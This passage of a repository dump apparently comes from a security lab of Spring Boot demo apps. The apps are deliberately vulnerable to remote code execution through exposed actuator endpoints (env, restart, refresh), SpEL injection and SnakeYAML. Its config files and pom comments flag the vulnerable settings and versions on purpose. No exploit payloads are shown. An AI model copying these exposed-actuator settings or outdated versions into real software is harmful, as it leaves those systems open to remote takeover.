18 | <div class="container">
19 | 
20 |     <h2>Product Details</h2>
21 |     <div>
22 |         <form class="form-horizontal" th:object="${productForm}" th:action="@{/product}" method="post">
23 | 
24 |             <div th:if="${#fields.hasErrors('*')}" class="alert alert-danger">
25 |                 <p th:text="#{form.hasErrors}">Error Message</p>
26 |             </div>
27 | 
28 |             <input type="hidden" th:field="*{id}"/>
29 | 
30 |             <div class="form-group" th:class="${#fields.hasErrors('description')} ? 'form-group has-error' : 'form-group'">
31 |                 <label class="col-sm-2 control-label">Description:</label>
32 |                 <div class="col-sm-10">
33 |                     <input type="text" class="form-control" th:field="*{description}" th:errorclass="has-error"/>
34 | 
35 |                     <span class="help-block">
36 |                        <ul>
37 |                            <li th:each="err : ${#fields.errors('description')}" th:text="${err}" />
38 |                        </ul>
39 |                     </span>
40 |                 </div>
41 |             </div>
42 | 
43 |             <div class="form-group" th:class="${#fields.hasErrors('price')} ? 'form-group has-error' : 'form-group'">
44 |                 <label class="col-sm-2 control-label">Price:</label>
45 |                 <div class="col-sm-10">
46 |                     <input type="number" min="0" max="5000" step="0.01" class="form-control" th:field="*{price}" th:errorclass="has-error"/>
47 | 
48 |                     <span class="help-block">
49 |                        <ul>
50 |                            <li th:each="err : ${#fields.errors('price')}" th:text="${err}" />
51 |                        </ul>
52 |                     </span>
53 |                 </div>
54 |             </div>
55 | 
56 |             <div class="form-group" th:class="${#fields.hasErrors('imageUrl')} ? 'form-group has-error' : 'form-group'">
57 |                 <label class="col-sm-2 control-label">Image Url:</label>
58 |                 <div class="col-sm-10">
59 |                     <input type="text" class="form-control" th:field="*{imageUrl}" th:errorclass="has-error"/>
60 | 
61 |                     <span class="help-block">
62 |                        <ul>
63 |                            <li th:each="err : ${#fields.errors('imageUrl')}" th:text="${err}" />
64 |                        </ul>
65 |                     </span>
66 |                 </div>
67 |             </div>
68 |             <div class="row">
69 |                 <button type="submit" class="btn btn-default">Submit</button>
70 |             </div>
71 |         </form>
72 |     </div>
73 | </div>
74 | 
75 | </body>
76 | </html>


--------------------------------------------------------------------------------
/repository/springboot-mysql-jdbc-rce/src/main/resources/templates/product/show.html:
--------------------------------------------------------------------------------
 1 | <!DOCTYPE html>
 2 | <html lang="en" xmlns:th="http://www.thymeleaf.org">
 3 | <head>
 4 |     <title>Spring Core Online Tutorial - Show Product</title>
 5 |     <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"/>
 6 | 
 7 |     <link href="http://cdn.jsdelivr.net/webjars/bootstrap/3.3.4/css/bootstrap.min.css"
 8 |           th:href="@{/webjars/bootstrap/3.3.5/css/bootstrap.min.css}"
 9 |           rel="stylesheet" media="screen"/>
10 | 
11 |     <script src="http://cdn.jsdelivr.net/webjars/jquery/2.1.4/jquery.min.js"
12 |             th:src="@{/webjars/jquery/2.1.4/jquery.min.js}"></script>
13 | 
14 |     <link href="../../static/css/spring-core.css"
15 |           th:href="@{css/spring-core.css}" rel="stylesheet" media="screen"/>
16 | </head>
17 | <body>
18 | <div class="container">
19 | 
20 |     <div class="row">
21 |         <div class="col-sm-6">
22 |             <h2>Show Product</h2>
23 |         </div>
24 |     </div>
25 |     <div class="row">
26 |         <div class="col-sm-8">
27 |             <form class="form-horizontal">
28 |                 <div class="form-group">
29 |                     <label class="col-sm-2 control-label">Product Id:</label>
30 |                     <div class="col-sm-10">
31 |                         <p class="form-control-static" th:text="${product.id}">Product Id</p>
32 |                     </div>
33 |                 </div>
34 |                 <div class="form-group">
35 |                     <label class="col-sm-2 control-label">Description:</label>
36 |                     <div class="col-sm-10">
37 |                         <p class="form-control-static" th:text="${product.description}">Description</p>
38 |                     </div>
39 |                 </div>
40 |                 <div class="form-group">
41 |                     <label class="col-sm-2 control-label">Price:</label>
42 |                     <div class="col-sm-10">
43 |                         <p class="form-control-static" th:text="${product.price}">Price</p>
44 |                     </div>
45 |                 </div>
46 |                 <div class="form-group">
47 |                     <label class="col-sm-2 sm-2 control-label">Image URL:</label>
48 |                     <div class="col-sm-10">
49 |                         <p class="form-control-static" th:text="${product.imageUrl}">Image</p>
50 |                     </div>
51 |                 </div>
52 |             </form>
53 |         </div>
54 |     </div>
55 | </div>
56 | 
57 | </body>
58 | </html>


--------------------------------------------------------------------------------
/repository/springboot-restart-rce/pom.xml:
--------------------------------------------------------------------------------
 1 | <?xml version="1.0" encoding="UTF-8"?>
 2 | <project xmlns="http://maven.apache.org/POM/4.0.0"
 3 |          xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
 4 |          xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
 5 |     <modelVersion>4.0.0</modelVersion>
 6 | 
 7 |     <groupId>org.example</groupId>
 8 |     <artifactId>springboot-restart-rce</artifactId>
 9 |     <version>1.0-SNAPSHOT</version>
10 |     <parent>
11 |         <groupId>org.springframework.boot</groupId>
12 |         <artifactId>spring-boot-starter-parent</artifactId>
13 |         <version>2.2.1.RELEASE</version>
14 |     </parent>
15 | 
16 |     <properties>
17 |         <java.version>1.8</java.version>
18 |     </properties>
19 | 
20 |     <dependencies>
21 |         <dependency>
22 |             <groupId>org.springframework.boot</groupId>
23 |             <artifactId>spring-boot-starter-web</artifactId>
24 |         </dependency>
25 | 
26 |         <dependency>
27 |             <groupId>org.springframework.boot</groupId>
28 |             <artifactId>spring-boot-starter-actuator</artifactId>
29 |         </dependency>
30 | 
31 |         <dependency>
32 |             <groupId>org.springframework.cloud</groupId>
33 |             <artifactId>spring-cloud-starter-config</artifactId>
34 |         </dependency>
35 | 
36 |         <dependency>
37 |             <groupId>org.springframework.boot</groupId>
38 |             <artifactId>spring-boot-starter-data-jpa</artifactId>
39 |         </dependency>
40 | 
41 |         <dependency>
42 |             <groupId>com.h2database</groupId>
43 |             <artifactId>h2</artifactId>
44 |         </dependency>
45 | 
46 |         <dependency>
47 |             <groupId>org.codehaus.groovy</groupId>
48 |             <artifactId>groovy</artifactId>
49 |             <version>2.5.8</version>
50 |         </dependency>
51 | 
52 |     </dependencies>
53 | 
54 |     <dependencyManagement>
55 |         <dependencies>
56 |             <dependency>
57 |                 <groupId>org.springframework.cloud</groupId>
58 |                 <artifactId>spring-cloud-dependencies</artifactId>
59 |                 <version>Hoxton.SR1</version>
60 |                 <type>pom</type>
61 |                 <scope>import</scope>
62 |             </dependency>
63 |         </dependencies>
64 |     </dependencyManagement>
65 | 
66 |     <build>
67 |         <plugins>
68 |             <plugin>
69 |                 <groupId>org.springframework.boot</groupId>
70 |                 <artifactId>spring-boot-maven-plugin</artifactId>
71 |             </plugin>
72 |         </plugins>
73 |     </build>
74 | 
75 | </project>


--------------------------------------------------------------------------------
/repository/springboot-restart-rce/src/main/java/code/landgrey/Application.java:
--------------------------------------------------------------------------------
 1 | package code.landgrey;
 2 | 
 3 | import org.springframework.boot.SpringApplication;
 4 | import org.springframework.boot.autoconfigure.SpringBootApplication;
 5 | 
 6 | @SpringBootApplication
 7 | public class Application {
 8 |     public static void main(String[] args){
 9 |         SpringApplication.run(Application.class,args);
10 |     }
11 | }


--------------------------------------------------------------------------------
/repository/springboot-restart-rce/src/main/java/code/landgrey/controller/Article.java:
--------------------------------------------------------------------------------
 1 | package code.landgrey.controller;
 2 | 
 3 | import org.springframework.boot.autoconfigure.EnableAutoConfiguration;
 4 | import org.springframework.web.bind.annotation.RequestMapping;
 5 | import org.springframework.web.bind.annotation.RestController;
 6 | 
 7 | @RestController
 8 | @EnableAutoConfiguration
 9 | public class Article {
10 |     @RequestMapping("/article")
11 |     public String hello(String id){
12 |         int total = 100;
13 |         String message = String.format("You've read %s books, and there are %d left", id, total - Integer.valueOf(id));
14 |         return message;
15 |     }
16 | }


--------------------------------------------------------------------------------
/repository/springboot-restart-rce/src/main/resources/application.properties:
--------------------------------------------------------------------------------
 1 | server.port=9098
 2 | server.address=127.0.0.1
 3 | 
 4 | 
 5 | # vulnerable configuration set 0: spring boot 1.0 - 1.4
 6 | # all spring boot versions 1.0 - 1.4 expose actuators by default without any parameters
 7 | # no configuration required to expose them
 8 | 
 9 | # safe configuration set 0: spring boot 1.0 - 1.4
10 | #management.security.enabled=true
11 | 
12 | # vulnerable configuration set 1: spring boot 1.5+
13 | # spring boot 1.5+ requires management.security.enabled=false to expose sensitive actuators
14 | #management.security.enabled=false
15 | 
16 | # safe configuration set 1: spring boot 1.5+
17 | # when 'management.security.enabled=false' but all sensitive actuators explicitly disabled
18 | #management.security.enabled=false
19 | 
20 | ## vulnerable configuration set 2: spring boot 2+
21 | #management.security.enabled=false
22 | #management.endpoint.refresh.enabled=true
23 | management.endpoints.web.exposure.include=env,restart,refresh
24 | #management.endpoints.web.exposure.include=*
25 | management.endpoint.restart.enabled=true
26 | 


--------------------------------------------------------------------------------
/repository/springboot-spel-rce/pom.xml:
--------------------------------------------------------------------------------
 1 | <?xml version="1.0" encoding="UTF-8"?>
 2 | <project xmlns="http://maven.apache.org/POM/4.0.0"
 3 |          xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
 4 |          xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
 5 |     <modelVersion>4.0.0</modelVersion>
 6 | 
 7 |     <groupId>org.example</groupId>
 8 |     <artifactId>springboot-spel-rce</artifactId>
 9 |     <version>1.0-SNAPSHOT</version>
10 | 
11 |     <properties>
12 |         <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
13 |         <project.reporting.outputEncoding>UTF-8</project.reporting.outputEncoding>
14 |         <java.version>1.7</java.version>
15 |         <!-- version 1.1.0-1.1.12、1.2.0-1.2.7、1.3.0 will be SpEL rce-->
16 |         <springboot.version>1.3.0.RELEASE</springboot.version>
17 |     </properties>
18 | 
19 |     <dependencies>
20 |         <dependency>
21 |             <groupId>org.springframework.boot</groupId>
22 |             <artifactId>spring-boot-starter-web</artifactId>
23 |             <version>${springboot.version}</version>
24 |         </dependency>
25 |     </dependencies>
26 | 
27 |     <build>
28 |         <plugins>
29 |             <plugin>
30 |                 <groupId>org.springframework.boot</groupId>
31 |                 <artifactId>spring-boot-maven-plugin</artifactId>
32 |                 <version>${springboot.version}</version>
33 |             </plugin>
34 |         </plugins>
35 |     </build>
36 | 
37 | </project>


--------------------------------------------------------------------------------
/repository/springboot-spel-rce/springboot-spel-rce.iml:
--------------------------------------------------------------------------------
1 | <?xml version="1.0" encoding="UTF-8"?>
2 | <module type="JAVA_MODULE" version="4" />


--------------------------------------------------------------------------------
/repository/springboot-spel-rce/src/main/java/code/landgrey/Application.java:
--------------------------------------------------------------------------------
 1 | package code.landgrey;
 2 | 
 3 | import org.springframework.boot.SpringApplication;
 4 | import org.springframework.boot.autoconfigure.SpringBootApplication;
 5 | 
 6 | @SpringBootApplication
 7 | public class Application {
 8 |     public static void main(String[] args){
 9 |         SpringApplication.run(Application.class,args);
10 |     }
11 | }
12 | 


--------------------------------------------------------------------------------
/repository/springboot-spel-rce/src/main/java/code/landgrey/controller/Article.java:
--------------------------------------------------------------------------------
 1 | package code.landgrey.controller;
 2 | 
 3 | import org.springframework.boot.autoconfigure.EnableAutoConfiguration;
 4 | import org.springframework.web.bind.annotation.RequestMapping;
 5 | import org.springframework.web.bind.annotation.RestController;
 6 | 
 7 | @RestController
 8 | @EnableAutoConfiguration
 9 | public class Article {
10 |     @RequestMapping("/article")
11 |     public String hello(String id){
12 |         int total = 100;
13 |         String message = String.format("You've read %s books, and there are %d left", id, total - Integer.valueOf(id));
14 |         return message;
15 |     }
16 | }
17 | 


--------------------------------------------------------------------------------
/repository/springboot-spel-rce/src/main/resources/application.properties:
--------------------------------------------------------------------------------
1 | server.port=9091
2 | server.address=127.0.0.1
3 | 


--------------------------------------------------------------------------------
/repository/springcloud-snakeyaml-rce/pom.xml:
--------------------------------------------------------------------------------
 1 | <?xml version="1.0" encoding="UTF-8"?>
 2 | <project xmlns="http://maven.apache.org/POM/4.0.0"
 3 |          xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
 4 |          xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
 5 |     <modelVersion>4.0.0</modelVersion>
 6 | 
 7 |     <groupId>org.example</groupId>
 8 |     <artifactId>springcloud-snakeyaml-rce</artifactId>
 9 |     <version>1.0-SNAPSHOT</version>
10 | 
11 |     <properties>
12 |         <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
13 |         <project.reporting.outputEncoding>UTF-8</project.reporting.outputEncoding>
14 |         <java.version>1.8</java.version>
15 | 
16 |         <springboot.version>1.4.7.RELEASE</springboot.version>
17 |         <springcloud.version>1.2.5.RELEASE</springcloud.version>
18 | 
19 | <!--        <springboot.version>2.2.0.RELEASE</springboot.version>-->
20 | <!--        <springcloud.version>2.2.2.RELEASE</springcloud.version>-->
21 | 
22 |     </properties>
23 | 
24 |     <dependencies>
25 | 
26 |         <dependency>
27 |             <groupId>org.springframework.boot</groupId>
28 |             <artifactId>spring-boot-starter-actuator</artifactId>
29 |             <version>${springboot.version}</version>
30 |         </dependency>
31 | 
32 |         <dependency>
33 |             <groupId>org.springframework.boot</groupId>
34 |             <artifactId>spring-boot-starter-web</artifactId>
35 |             <version>${springboot.version}</version>
36 |         </dependency>
37 | 
38 |         <dependency>
39 |             <groupId>org.springframework.cloud</groupId>
40 |             <artifactId>spring-cloud-starter</artifactId>
41 |             <version>${springcloud.version}</version>
42 |         </dependency>
43 | 
44 | <!--        <dependency>-->
45 | <!--            <groupId>org.springframework.cloud</groupId>-->
46 | <!--            <artifactId>spring-cloud-dependencies</artifactId>-->
47 | <!--            <version>Hoxton.SR4</version>-->
48 | <!--            <type>pom</type>-->
49 | <!--            <scope>runtime</scope>-->
50 | <!--        </dependency>-->
51 | 
52 |     </dependencies>
53 | 
54 |     <build>
55 |         <plugins>
56 |             <plugin>
57 |                 <groupId>org.springframework.boot</groupId>
58 |                 <artifactId>spring-boot-maven-plugin</artifactId>
59 |                 <version>${springboot.version}</version>
60 |             </plugin>
61 |         </plugins>
62 |     </build>
63 | 
64 | </project>


--------------------------------------------------------------------------------
/repository/springcloud-snakeyaml-rce/springcloud-snakeyaml-rce.iml:
--------------------------------------------------------------------------------
1 | <?xml version="1.0" encoding="UTF-8"?>
2 | <module type="JAVA_MODULE" version="4" />


--------------------------------------------------------------------------------
/repository/springcloud-snakeyaml-rce/src/main/java/code/landgrey/Application.java:
--------------------------------------------------------------------------------
 1 | package code.landgrey;
 2 | 
 3 | import org.springframework.boot.SpringApplication;
 4 | import org.springframework.boot.autoconfigure.SpringBootApplication;
 5 | 
 6 | @SpringBootApplication
 7 | public class Application {
 8 |     public static void main(String[] args){
 9 |         SpringApplication.run(Application.class,args);
10 |     }
11 | }


--------------------------------------------------------------------------------
/repository/springcloud-snakeyaml-rce/src/main/java/code/landgrey/controller/Article.java:
--------------------------------------------------------------------------------
 1 | package code.landgrey.controller;
 2 | 
 3 | import org.springframework.boot.autoconfigure.EnableAutoConfiguration;
 4 | import org.springframework.web.bind.annotation.RequestMapping;
 5 | import org.springframework.web.bind.annotation.RestController;
 6 | 
 7 | @RestController
 8 | @EnableAutoConfiguration
 9 | public class Article {
10 |     @RequestMapping("/article")
11 |     public String hello(String id){
12 |         int total = 100;
13 |         String message = String.format("You've read %s books, and there are %d left", id, total - Integer.valueOf(id));
14 |         return message;
15 |     }
16 | }


--------------------------------------------------------------------------------
/repository/springcloud-snakeyaml-rce/src/main/resources/application.properties:
--------------------------------------------------------------------------------
 1 | server.port=9092
 2 | server.address=127.0.0.1
 3 | 
 4 | 
 5 | # vulnerable configuration set 0: spring boot 1.0 - 1.4
 6 | # all spring boot versions 1.0 - 1.4 expose actuators by default without any parameters
 7 | # no configuration required to expose them
 8 | 
 9 | # safe configuration set 0: spring boot 1.0 - 1.4
10 | #management.security.enabled=true
11 | 
12 | # vulnerable configuration set 1: spring boot 1.5+
13 | # spring boot 1.5+ requires management.security.enabled=false to expose sensitive actuators
14 | #management.security.enabled=false
15 | 
16 | # safe configuration set 1: spring boot 1.5+
17 | # when 'management.security.enabled=false' but all sensitive actuators explicitly disabled
18 | #management.security.enabled=false
19 | 
20 | # vulnerable configuration set 2: spring boot 2+
21 | #management.endpoints.web.exposure.include=*
22 | #management.endpoint.env.post.enabled=true
23 | 


--------------------------------------------------------------------------------